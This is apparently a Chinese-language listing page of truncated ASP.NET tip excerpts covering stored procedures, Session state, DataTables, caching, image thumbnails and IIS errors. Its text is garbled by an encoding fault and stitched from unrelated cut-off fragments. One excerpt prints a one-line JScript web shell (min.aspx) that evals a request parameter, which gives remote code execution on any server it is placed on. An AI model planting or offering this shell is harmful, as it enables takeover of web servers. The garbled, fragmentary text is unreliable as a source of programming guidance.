ASP.net基礎(chǔ)知識(shí)之常見錯(cuò)誤分析
1:command調(diào)用存儲(chǔ)過程的時(shí)候,如果輸出是dataset,selectcommand的command對(duì)象的connection先要指出,否則catch一輩子也是空的..
2:存儲(chǔ)過程的varchar字段如果是x.x的這種格式,容易出現(xiàn)細(xì)微的傻錯(cuò)誤,注意不要漏了[]....
|
1:command調(diào)用存儲(chǔ)過程的時(shí)候,如果輸出是dataset,selectcommand的command對(duì)象的connection先要指出,否則catch一輩子也是空的..
2:存儲(chǔ)過程的varchar字段如果是x.x的這種格式,容易出現(xiàn)細(xì)微的傻錯(cuò)誤,注意不要漏了[]....
1. this.Session["username"] = null HttpSessionState 內(nèi)部使用 NameObjectCollection 類型的集合對(duì)象來(lái)存儲(chǔ)用戶數(shù)據(jù)。因此使用 this.Session["username"] = null 僅僅是將該元素的值設(shè)為 null 而已,并沒有真的將其...
.NET的頁(yè)面看似一個(gè)整體,卻可能是由很多不同的區(qū)域組合而來(lái)的,常常用到的母版頁(yè)、用戶控件就是最鮮明的例子。 然而在一個(gè)頁(yè)面內(nèi)的元素要形成一個(gè)整體,就少不了控件之間的通信與傳值,本文是個(gè)人在不斷的使用過程中總結(jié)的...
昨天寫了一半,一直沒弄清楚當(dāng)ACCESS數(shù)據(jù)庫(kù)的連接代碼寫成類的時(shí)候路徑該怎么寫,搞了半天,還是用絕對(duì)路徑解決了,似乎Server.MapPath沒法在cs文件中使用.
要實(shí)現(xiàn)的功能如下:
盡量用類的思想來(lái)完成數(shù)據(jù)的插入,因?yàn)?..
本文將描述如何使CheckBoxList中的Item添加的Attribute在客戶端生效,CheckBoxList是一個(gè)非常好用的組件,它支持?jǐn)?shù)據(jù)綁定等特性。但是他和DropDownList有同樣的一個(gè)問題,就是當(dāng)我們向它們的Items里面Add項(xiàng)目的時(shí)候,如果希...
static的全部用法 要理解static,就必須要先理解另一個(gè)與之相對(duì)的關(guān)鍵字,很多人可能都還不知道有這個(gè)關(guān)鍵字,那就是auto,其實(shí)我們通常聲明的不用static修飾的變量,都是auto的,因?yàn)樗悄J(rèn)的,就象short和long總是默認(rèn)為in...
Server Error in '/' Application. --------------------------------------------------------------------------------
Could not load file or assembly 'AjaxPro.2' or one of its dependencies. 拒絕訪問。...
在壇子里經(jīng)常看到一些關(guān)于Session的問題,下面做一個(gè)總結(jié),希望對(duì)大家有所幫助:?jiǎn)枺簽槭裁碨ession在有些機(jī)器上偶爾會(huì)丟失?答:可能和機(jī)器的環(huán)境有關(guān)系,比如:防火墻或者殺毒軟件等,嘗試關(guān)閉防火墻。問:為什么當(dāng)調(diào)用Session.Abandon...
SmartClient概念近來(lái)比較熱,但在微軟提出這個(gè)名詞以前已經(jīng)有大量的軟件在這么做了,一方面是簡(jiǎn)化客戶端的部署,一方面是提供自動(dòng)升級(jí)的功能;對(duì)于傳統(tǒng)的WinForm應(yīng)用來(lái)講,確實(shí)是可以降低維護(hù)成本的一個(gè)不錯(cuò)的解決方案; 微軟在...
由于公司的產(chǎn)品在新的版本中,需要考慮一些新的部署方式,所以又抽空關(guān)注了一下.NET跨平臺(tái)的一些解決方案。雖然Mono Project對(duì)基于.NET開發(fā)的人來(lái)說(shuō)都不陌生,不過由于Mono是比較狹義的跨平臺(tái)(因?yàn)樗荗S級(jí)別的)概念。而從...
可能"極好的"又會(huì)帶來(lái)很多的非議,但是我認(rèn)為這確實(shí)很好,我看了大約20個(gè)無(wú)刷新的連動(dòng)下拉列表,他們?cè)趂irefox下面就一團(tuán)糟.為了這個(gè)我差不多搞了兩天,就是如果提交窗體后如何保持第二個(gè)列表框的值,因?yàn)橥ㄟ^js 給下拉框...
直觀認(rèn)識(shí):正面交鋒 性能測(cè)試1:StringBuilder 第 1 輪測(cè)試:用時(shí) 312.5 毫秒 第 2 輪測(cè)試:用時(shí) 421.875 毫秒 第 3 輪測(cè)試:用時(shí) 453.125 毫秒 第 4 輪測(cè)試:用時(shí) 421.875 毫秒 第 5 輪測(cè)試:用時(shí) 453.125 毫秒 性能測(cè)試2:S...
實(shí)際上是利用.Net中的Process對(duì)象來(lái)實(shí)現(xiàn)的。 string str=@"d:/test.avi d:/test_allen.flv"; RunFFMpeg(str);
//運(yùn)行FFMpeg的視頻解碼, public void RunFFMpeg(string strCmd) { //創(chuàng)建并...
min.aspx復(fù)制代碼 代碼如下:<%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%>復(fù)制代碼 代碼如下:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml...
網(wǎng)上看到一個(gè)解決方法,感覺不錯(cuò):
private DataTable GetNewDataTable(DataTable dt,string condition) { DataTable newdt = new DataTable(); newdt=dt.Clone();...
將DataTable中的一行復(fù)制到另一個(gè)DataTable
方法1:
DataRow dr = ds2.Tables[0].NewRow(); dr.ItemArray = ds1.Tables[0].Rows[i].ItemArray; ds2.Tables[0].Rows.Add( dr );
方法2:...
ASP.NET提供三種主要形式的緩存:頁(yè)面級(jí)輸出緩存、用戶控件級(jí)輸出緩存(或稱為片段緩存)和緩存API。
盡早緩存;經(jīng)常緩存 您應(yīng)該在應(yīng)用程序的每一層都實(shí)現(xiàn)緩存。向數(shù)據(jù)層、業(yè)務(wù)邏輯層、UI或輸出層添加緩存支持。內(nèi)存...
當(dāng)dataList綁定到一個(gè)行集合時(shí),直接使用 <%# DataBinder.Eval(Container.DataItem,"fldName") %>時(shí),編譯時(shí)將會(huì)出現(xiàn) "DataBinder.Eval:“System.Data.DataRow”不包含名稱為 fldName 的屬性" 的錯(cuò)誤
解決辦法:將 <%# D...
常用的生成驗(yàn)證碼程序 ,圖片效果如下: 源程序如下: 復(fù)制代碼 代碼如下:using System; using System.IO; using System.Drawing; using System.Drawing.Imaging; using System.Text; using System.Collections;...
當(dāng)做小項(xiàng)目用 ASP.NET + Access 數(shù)據(jù)庫(kù)時(shí),總是遇到數(shù)據(jù)庫(kù)路徑問題,本人以前的解決方法是每次訪問數(shù)據(jù)庫(kù)時(shí),把鏈接字符串以參數(shù)的形式傳到數(shù)據(jù)訪問層,實(shí)施起來(lái)相當(dāng)麻煩,這次找到了一個(gè)比較好的方案,這是本人目前的最終解決方...
IIS500錯(cuò)誤,是因?yàn)槲④浀囊粋€(gè)BUG所造成的。下面是解決辦法:
主要是由于IWAM賬號(hào)(在我的計(jì)算機(jī)即是IWAM_MYSERVER賬號(hào))的密碼錯(cuò)誤造成了HTTP 500內(nèi)部錯(cuò)誤。 在詳細(xì)分析HTTP500內(nèi)部錯(cuò)誤產(chǎn)生的原因之前,先對(duì)IWAM賬號(hào)進(jìn)行一...
先看代碼: using System; using System.Drawing; using System.Drawing.Imaging; using System.Drawing.Drawing2D; /**//// <summary> /// /// **生成高質(zhì)量縮略圖程序** /// /// File: GenerateThumbnail.cs ///...
<table> <tr> <td style="PADDING-RIGHT: 6px; PADDING-LEFT: 6px; OVERFLOW-X: hidden; PADDING-BOTTOM: 6px; WORD-BREAK: break-all; LINE-HEIGHT: 130%; PADDING-TOP: 6px; WORD-WRAP: break-word">...
利用.NET 提供的類,如Drawing.Bitmap ,Drawing.Bitmap 等,很容易就可以實(shí)現(xiàn)對(duì)圖片的簡(jiǎn)單處理。包括打水印,放大縮小,等操作。 public partial class WebForm4 : System.Web.UI.Page { // 原始圖片路徑...
private String HtmlCode(string TString) { if (TString != null) { TString = TString.Replace("/r", "<br>"); TString = TString.Replace(" ", " "); r...